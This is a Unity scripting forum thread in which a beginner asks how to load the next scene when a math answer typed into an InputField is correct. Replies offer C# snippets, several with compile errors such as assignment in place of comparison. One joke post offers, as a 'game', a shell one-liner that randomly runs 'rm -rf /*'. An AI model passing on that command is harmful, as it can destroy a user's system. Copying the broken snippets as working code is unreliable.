Search Unity

Correct Math Answer

Discussion in 'Scripting' started by joeynigro, Sep 7, 2019.

Thread Status:
Not open for further replies.
  1. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    How can I move to a next scene by answering a Math Problem correctly in InputField?
     
  2. Yoreki

    Yoreki

    Joined:
    Apr 10, 2019
    Posts:
    2,605
  3. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    Can you give me the full script from GitHub.
     
  4. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    or from Insert Code.
     
  5. Adien22

    Adien22

    Joined:
    Aug 19, 2019
    Posts:
    44
    would this work?


    Code (csharp):
    1.  
    2. using System.Collections;
    3. using System.Collections.Generic;
    4. using UnityEngine;
    5. using UnityEngine.SceneManagement;
    6.  
    7. public class SomeGame: MonoBehaviour
    8. {
    9.     int x;      // make it equal to your particular question
    10.    
    11.     void Update()
    12.     {
    13.         // put your math question here
    14.        
    15.        
    16.         if (answer = x)
    17.         {
    18.             SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex + 1);
    19.         }else
    20.         {
    21.             //set up try counter, game over, or return to the beginning
    22.         }
    23.        
    24.     }
    25. }
    26.  
     
  6. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    No, I want you to give more details to this to make it work:
    Code (CSharp):
    1. using System.Collections;
    2. using System.Collections.Generic;
    3. using UnityEngine;
    4. using UnityEngine.UI;
    5. using UnityEngine.SceneManagement;
    6. public class CorrectAnswer: MonoBehaviour
    7. {
    8.    
    9.     public InputField answer;
    10.  
    11.     int x;
    12.  
    13.     public void Update()
    14.     {
    15.      
    16.         if (this.answer = x)
    17.         {
    18.             SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex + 1);
    19.      
    20.     }
    21. }
    22. }
    23.  
     
  7. Yoreki

    Yoreki

    Joined:
    Apr 10, 2019
    Posts:
    2,605
    What exactly is it you want? What did you try? What did not work? We can help you with problems on any of these, but we arent some cheap, exploitable workforce you can get to do your work for you. So show us what you got. Tell us what specifically your problem is. Make this feel less like outsourced labor, and more like a person asking for advice..
     
  8. Adien22

    Adien22

    Joined:
    Aug 19, 2019
    Posts:
    44
    You would literally just need to write out your question above that if statement, and it should work lol try it

    What are the math questions you want to ask?
    Is this a Console game or a game that swaps to different text canvases?
    Do you want multiple-choice or fill in the blank?

    There is a lot you need to give for people to be able to help you
     
    Last edited: Sep 8, 2019
  9. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    How about any math problem.
     
  10. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    I want to fill in the blank?
     
  11. Adien22

    Adien22

    Joined:
    Aug 19, 2019
    Posts:
    44
    If you are using the console
    copy and paste to new script, change the class to CorrectAnswer2, 3, 4, ect.for however many questions you have.
    just change the question and the if statement answers

    Code (csharp):
    1.  
    2.  
    3. using System.Collections;
    4. using System.Collections.Generic;
    5. using UnityEngine;
    6. using UnityEngine.UI;
    7. using UnityEngine.SceneManagement;
    8.  
    9.  
    10. public class CorrectAnswer1: MonoBehaviour
    11. {
    12.  
    13.  
    14.  
    15.  
    16.  
    17.  
    18.  
    19.     public void Update()
    20.     {
    21.          Start:
    22.          Console.Write(" What is two plus three?  ")
    23.          answer = Console.ReadLine();
    24.      
    25.          if (answer == 5 || answer == "Five")
    26.         {
    27.                 Console.WriteLine("Good Job! Hit enter to go to next question!");
    28.                 Console.ReadLine();
    29.             SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex + 1);
    30.  
    31.         }else
    32.           {
    33.  
    34.                         Cosole.WriteLine("Wrong answer!! Try agian!")
    35.                         Console.ReadLine();
    36.                         goto Start;
    37.  
    38.           }
    39.     }
    40. }
    41.  
    42.  
     
    Last edited: Sep 8, 2019
  12. Adien22

    Adien22

    Joined:
    Aug 19, 2019
    Posts:
    44
    I've got an even better game for you!! unfortunately, it only works in Unix right now as far as I know. Maybe if you can find someone who can translate to a different language, it can work. It's literally one line of code and it's super addictive lol

    Code (csharp):
    1.  
    2. root@server: ~# [$ RANDOM % 6] == o] && rm - rf /* || echo *CLICK*
    3.  
     
    Boz0r likes this.
  13. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    I keep getting error CS0029: Cannot implicitly convert type `int' to `UnityEngine.UI.InputField'
     
  14. Adien22

    Adien22

    Joined:
    Aug 19, 2019
    Posts:
    44
    Well for that, I don't know how to fix. Sorry man
     
  15. EdGunther

    EdGunther

    Joined:
    Jun 25, 2018
    Posts:
    183
    Int.Parse will convert an int value to a string

    Make a function that takes a string as a parameter. Then in your input field, call the method OnValueChanged. Make sure to use the function as a dynamic function. In this function check the string parameter against x, parsed to a string.
     
  16. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    How do I fix Cannot implicitly convert type `string' to `bool'?
     
  17. Yoreki

    Yoreki

    Joined:
    Apr 10, 2019
    Posts:
    2,605
    Use the right type. What is throwing the error? You are obviously trying to use a string as a truth value, which is not supposed to happen. You need to convert it somehow, depending on what you expect. This probably comes down to the problem that you have an input string but need to compare it to numbers, which was answered twice now
     
    EdGunther likes this.
  18. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    How can I fix Cannot implicitly convert type `int' to `UnityEngine.UI.InputField'?
     
  19. Yoreki

    Yoreki

    Joined:
    Apr 10, 2019
    Posts:
    2,605
    By using the correct type..
    Please post the code that's throwing the error. You are probably trying to assign an int to your input field or something.
     
  20. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    Help me fix symbol `.', expecting `)', `,', `[', `]', or `='.
     
  21. Vryken

    Vryken

    Joined:
    Jan 23, 2018
    Posts:
    2,106
    Please do some C# tutorials. These are all basic type conversion and syntax errors that you really should be able to fix on your own.
    You won't learn how to fix these by going back-and-fourth on this thread asking people to fix every error for you. It's just a waste of everyone's time.

    Here's something to get you started:
    https://www.tutorialspoint.com/csharp/index.htm
     
    Yoreki likes this.
  22. joeynigro

    joeynigro

    Joined:
    Nov 23, 2018
    Posts:
    34
    I'm doing something important.
     
  23. Yoreki

    Yoreki

    Joined:
    Apr 10, 2019
    Posts:
    2,605
    Cool. Who is not doing something he deems important? If it's that important, you may be especially interrested in learning how to do it properly by reading through some C# tutorials tho ;)
     
    Adien22 likes this.
Thread Status:
Not open for further replies.